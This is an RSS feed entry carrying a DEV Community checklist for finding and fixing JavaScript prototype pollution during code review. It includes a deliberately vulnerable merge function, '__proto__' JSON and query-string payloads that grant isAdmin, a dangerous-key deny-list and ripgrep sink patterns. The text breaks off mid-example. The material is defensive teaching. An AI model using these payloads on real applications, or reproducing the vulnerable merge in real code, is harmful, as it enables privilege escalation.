<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Stefan</title>
    <description>The latest articles on DEV Community by Stefan (@securitystefan).</description>
    <link>https://dev.to/securitystefan</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1585924%2F860d86e8-d505-4b4e-83b2-649ac063f47d.png</url>
      <title>DEV Community: Stefan</title>
      <link>https://dev.to/securitystefan</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/securitystefan"/>
    <language>en</language>
    <item>
      <title>Detect Prototype Pollution in JavaScript: Code Review Checklist</title>
      <dc:creator>Stefan</dc:creator>
      <pubDate>Sun, 31 May 2026 14:37:24 +0000</pubDate>
      <link>https://dev.to/securitystefan/detect-prototype-pollution-in-javascript-code-review-checklist-32ae</link>
      <guid>https://dev.to/securitystefan/detect-prototype-pollution-in-javascript-code-review-checklist-32ae</guid>
      <description>&lt;h1&gt;
  
  
  Detect Prototype Pollution in JavaScript Code Review Checklist
&lt;/h1&gt;

&lt;p&gt;Prototype pollution is one of those vulnerabilities that looks like a boring object-merge bug until it grants every user in your app &lt;code&gt;isAdmin: true&lt;/code&gt;. An attacker submits JSON containing a &lt;code&gt;__proto__&lt;/code&gt; key, your utility function walks the properties without checking them, and suddenly &lt;code&gt;Object.prototype&lt;/code&gt; has a new field that all objects in the process inherit. The bug appears in merge utilities, config loaders, query-string parsers, and anywhere your code recursively copies untrusted data onto an object. This checklist tells you exactly where to look.&lt;/p&gt;

&lt;h2&gt;
  
  
  How prototype pollution actually works
&lt;/h2&gt;

&lt;p&gt;Every plain object in JavaScript inherits from &lt;code&gt;Object.prototype&lt;/code&gt; via its internal &lt;code&gt;[[Prototype]]&lt;/code&gt; slot. When you access a property that doesn't exist on an object directly, the engine walks the prototype chain. If you can write to &lt;code&gt;Object.prototype&lt;/code&gt;, every object in the process picks up that property as if it were its own.&lt;/p&gt;

&lt;p&gt;The three magic keys: &lt;code&gt;__proto__&lt;/code&gt;, &lt;code&gt;constructor&lt;/code&gt;, and &lt;code&gt;prototype&lt;/code&gt;. All three let attacker input escape the target object and land on shared prototypes. The canonical trigger is a naive recursive merge:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Vulnerable deep merge — do not ship this&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;merge&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;source&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;source&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// No key validation — attacker controls key&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;source&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;object&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;source&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{};&lt;/span&gt;
      &lt;span class="nf"&gt;merge&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nx"&gt;source&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;source&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;{"__proto__": {"isAdmin": true}}&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;merge&lt;/span&gt;&lt;span class="p"&gt;({},&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Now every plain object inherits isAdmin&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;alice&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;isAdmin&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// true — prototype chain was silently mutated&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When &lt;code&gt;merge&lt;/code&gt; recurses into &lt;code&gt;payload.__proto__&lt;/code&gt;, &lt;code&gt;target[key]&lt;/code&gt; resolves to &lt;code&gt;Object.prototype&lt;/code&gt; itself (because &lt;code&gt;{}.__proto__ === Object.prototype&lt;/code&gt;). The function then writes &lt;code&gt;isAdmin: true&lt;/code&gt; directly onto &lt;code&gt;Object.prototype&lt;/code&gt;, and every subsequently created &lt;code&gt;{}&lt;/code&gt; inherits it.&lt;/p&gt;

&lt;p&gt;The impact isn't theoretical. CVE-2019-10744 in lodash before 4.17.12 is exactly this pattern through &lt;code&gt;_.defaultsDeep&lt;/code&gt;. CVE-2020-8203 is the same in lodash &lt;code&gt;_.merge&lt;/code&gt;. Real exploit chains have produced RCE via template engines (Handlebars, Pug) that call &lt;code&gt;Function()&lt;/code&gt; constructor after reading polluted properties, and auth bypasses when middleware checks &lt;code&gt;req.user.isAdmin&lt;/code&gt; against a prototype-inherited value.&lt;/p&gt;

&lt;p&gt;For a deeper walkthrough of the mechanics and a hands-on lab environment, the &lt;a href="https://www.codereviewlab.com/learning/prototype-pollution" rel="noopener noreferrer"&gt;prototype pollution lesson&lt;/a&gt; on Code Review Lab covers the full exploit chain including the Handlebars RCE path.&lt;/p&gt;

&lt;h2&gt;
  
  
  The baseline fix: block dangerous keys and freeze prototypes
&lt;/h2&gt;

&lt;p&gt;Two independent defenses: reject bad keys at merge time, and make the pollution surface as small as possible by freezing &lt;code&gt;Object.prototype&lt;/code&gt; at boot.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Safe deep merge with key allowlisting&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;DANGEROUS_KEYS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Set&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;__proto__&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;constructor&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;prototype&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;safeMerge&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;source&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;source&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;object&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;source&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;source&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Reject before recursing — gadget chains can fire from constructors&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;DANGEROUS_KEYS&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;has&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;srcVal&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;source&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;srcVal&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;object&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;srcVal&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isArray&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;srcVal&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="c1"&gt;// Use Object.create(null) for intermediate nodes — no prototype chain at all&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;prototype&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hasOwnProperty&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="nf"&gt;safeMerge&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nx"&gt;srcVal&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;srcVal&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Boot-time hardening — freeze the shared prototype so writes throw in strict mode&lt;/span&gt;
&lt;span class="c1"&gt;// or silently fail in sloppy mode, rather than silently succeeding&lt;/span&gt;
&lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;freeze&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;prototype&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// For lookup tables that should never inherit anything, use null-prototype objects&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;lookup&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;someKey&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;someValue&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;// lookup.__proto__ is undefined — prototype chain attack is impossible here&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;Object.freeze(Object.prototype)&lt;/code&gt; at application startup is a low-cost defense-in-depth measure. It won't stop all gadget chains (some libraries create intermediate objects before the property is read), but it converts silent corruption into a thrown error or a no-op, both of which are much easier to detect.&lt;/p&gt;

&lt;p&gt;The tradeoff with &lt;code&gt;Object.create(null)&lt;/code&gt; objects: they don't have &lt;code&gt;.toString()&lt;/code&gt;, &lt;code&gt;.hasOwnProperty()&lt;/code&gt;, or any other prototype methods. Code that calls &lt;code&gt;obj.hasOwnProperty(k)&lt;/code&gt; directly on a null-prototype object will throw. Use &lt;code&gt;Object.prototype.hasOwnProperty.call(obj, k)&lt;/code&gt; instead, which is the safe pattern regardless.&lt;/p&gt;

&lt;p&gt;For string-keyed dynamic data from external sources, prefer &lt;code&gt;Map&lt;/code&gt; over plain objects. &lt;code&gt;Map&lt;/code&gt; has no prototype chain for key lookups: a &lt;code&gt;Map&lt;/code&gt; with key &lt;code&gt;"__proto__"&lt;/code&gt; just stores a string, it doesn't touch any prototype.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sink patterns to grep for during review
&lt;/h2&gt;

&lt;p&gt;The following patterns are where a prototype-polluted value does damage. Finding a sink doesn't mean the code is vulnerable, but every hit deserves a "where does the source come from?" question.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Run these from the repo root with ripgrep&lt;/span&gt;
&lt;span class="c"&gt;# Each flag captures common real-world spellings&lt;/span&gt;

&lt;span class="c"&gt;# Recursive or object-spreading merges&lt;/span&gt;
rg &lt;span class="s2"&gt;"merge&lt;/span&gt;&lt;span class="se"&gt;\s&lt;/span&gt;&lt;span class="s2"&gt;*&lt;/span&gt;&lt;span class="se"&gt;\(&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;--type&lt;/span&gt; js

&lt;span class="c"&gt;# Lodash utilities known to be historically vulnerable&lt;/span&gt;
rg &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;defaultsDeep&lt;/span&gt;&lt;span class="se"&gt;\s&lt;/span&gt;&lt;span class="s2"&gt;*&lt;/span&gt;&lt;span class="se"&gt;\(&lt;/span&gt;&lt;span class="s2"&gt;|lodash&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;merge&lt;/span&gt;&lt;span class="se"&gt;\s&lt;/span&gt;&lt;span class="s2"&gt;*&lt;/span&gt;&lt;span class="se"&gt;\(&lt;/span&gt;&lt;span class="s2"&gt;|_&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;merge&lt;/span&gt;&lt;span class="se"&gt;\s&lt;/span&gt;&lt;span class="s2"&gt;*&lt;/span&gt;&lt;span class="se"&gt;\(&lt;/span&gt;&lt;span class="s2"&gt;|_&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;set&lt;/span&gt;&lt;span class="se"&gt;\s&lt;/span&gt;&lt;span class="s2"&gt;*&lt;/span&gt;&lt;span class="se"&gt;\(&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;--type&lt;/span&gt; js

&lt;span class="c"&gt;# Object.assign with a non-literal second argument (source could be attacker-controlled)&lt;/span&gt;
rg &lt;span class="s2"&gt;"Object&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;assign&lt;/span&gt;&lt;span class="se"&gt;\s&lt;/span&gt;&lt;span class="s2"&gt;*&lt;/span&gt;&lt;span class="se"&gt;\(&lt;/span&gt;&lt;span class="s2"&gt;[^,]+,&lt;/span&gt;&lt;span class="se"&gt;\s&lt;/span&gt;&lt;span class="s2"&gt;*req&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;--type&lt;/span&gt; js

&lt;span class="c"&gt;# Dynamic two-level key assignment: obj[key1][key2] = value&lt;/span&gt;
&lt;span class="c"&gt;# This pattern can walk __proto__ if key1 is "__proto__"&lt;/span&gt;
rg &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\[&lt;/span&gt;&lt;span class="s2"&gt;[a-zA-Z_&lt;/span&gt;&lt;span class="nv"&gt;$]&lt;/span&gt;&lt;span class="s2"&gt;[a-zA-Z0-9_&lt;/span&gt;&lt;span class="nv"&gt;$]&lt;/span&gt;&lt;span class="s2"&gt;*&lt;/span&gt;&lt;span class="se"&gt;\]\s&lt;/span&gt;&lt;span class="s2"&gt;*&lt;/span&gt;&lt;span class="se"&gt;\[&lt;/span&gt;&lt;span class="s2"&gt;[a-zA-Z_&lt;/span&gt;&lt;span class="nv"&gt;$]&lt;/span&gt;&lt;span class="s2"&gt;[a-zA-Z0-9_&lt;/span&gt;&lt;span class="nv"&gt;$]&lt;/span&gt;&lt;span class="s2"&gt;*&lt;/span&gt;&lt;span class="se"&gt;\]\s&lt;/span&gt;&lt;span class="s2"&gt;*="&lt;/span&gt; &lt;span class="nt"&gt;--type&lt;/span&gt; js

&lt;span class="c"&gt;# JSON.parse result fed directly into a property setter or merge&lt;/span&gt;
rg &lt;span class="s2"&gt;"JSON&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;parse&lt;/span&gt;&lt;span class="se"&gt;\s&lt;/span&gt;&lt;span class="s2"&gt;*&lt;/span&gt;&lt;span class="se"&gt;\(&lt;/span&gt;&lt;span class="s2"&gt;.*&lt;/span&gt;&lt;span class="se"&gt;\)\s&lt;/span&gt;&lt;span class="s2"&gt;*[,;]"&lt;/span&gt; &lt;span class="nt"&gt;--type&lt;/span&gt; js &lt;span class="nt"&gt;-A&lt;/span&gt; 2

&lt;span class="c"&gt;# Template engines reading from config objects (common RCE gadget sink)&lt;/span&gt;
rg &lt;span class="s2"&gt;"options&lt;/span&gt;&lt;span class="se"&gt;\[&lt;/span&gt;&lt;span class="s2"&gt;|config&lt;/span&gt;&lt;span class="se"&gt;\[&lt;/span&gt;&lt;span class="s2"&gt;|settings&lt;/span&gt;&lt;span class="se"&gt;\[&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;--type&lt;/span&gt; js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;_.set(obj, path, value)&lt;/code&gt; is particularly dangerous because it accepts dot-notation paths like &lt;code&gt;"__proto__.isAdmin"&lt;/code&gt;. If &lt;code&gt;path&lt;/code&gt; comes from user input, it's a direct pollution vector even when the top-level merge is safe.&lt;/p&gt;

&lt;p&gt;The two-level dynamic bracket assignment (&lt;code&gt;obj[a][b] = v&lt;/code&gt;) pattern is the one reviewers most often miss. It doesn't look like a prototype operation on the surface. When &lt;code&gt;a&lt;/code&gt; is &lt;code&gt;"__proto__"&lt;/code&gt; and &lt;code&gt;b&lt;/code&gt; is &lt;code&gt;"isAdmin"&lt;/code&gt;, it is one.&lt;/p&gt;

&lt;p&gt;When you find a sink, also check whether the surrounding code uses polluted properties for access control. The &lt;a href="https://www.codereviewlab.com/learning/broken-authentication" rel="noopener noreferrer"&gt;auth bypass via polluted defaults&lt;/a&gt; pattern appears frequently in middleware that reads &lt;code&gt;req.user.role&lt;/code&gt; or &lt;code&gt;user.isAdmin&lt;/code&gt; from a plain object without confirming the property is own.&lt;/p&gt;

&lt;h2&gt;
  
  
  Source patterns: where attacker keys enter the app
&lt;/h2&gt;

&lt;p&gt;The source side gets less attention than sinks in most checklists. Here are the entry points reviewers frequently miss.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;req.body&lt;/code&gt;&lt;/strong&gt; with &lt;code&gt;express.json()&lt;/code&gt; is the obvious one. Any JSON object in the request body can contain &lt;code&gt;__proto__&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;req.query&lt;/code&gt; with &lt;code&gt;qs&lt;/code&gt;&lt;/strong&gt; is less obvious. Express uses the &lt;code&gt;qs&lt;/code&gt; library by default for query-string parsing, and &lt;code&gt;qs&lt;/code&gt; supports bracket notation for nested objects. An attacker can send:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Express route — attacker sends:&lt;/span&gt;
&lt;span class="c1"&gt;// GET /search?a[__proto__][polluted]=1&lt;/span&gt;
&lt;span class="c1"&gt;// qs parses this into: { a: { __proto__: { polluted: '1' } } }&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;express&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;express&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;express&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

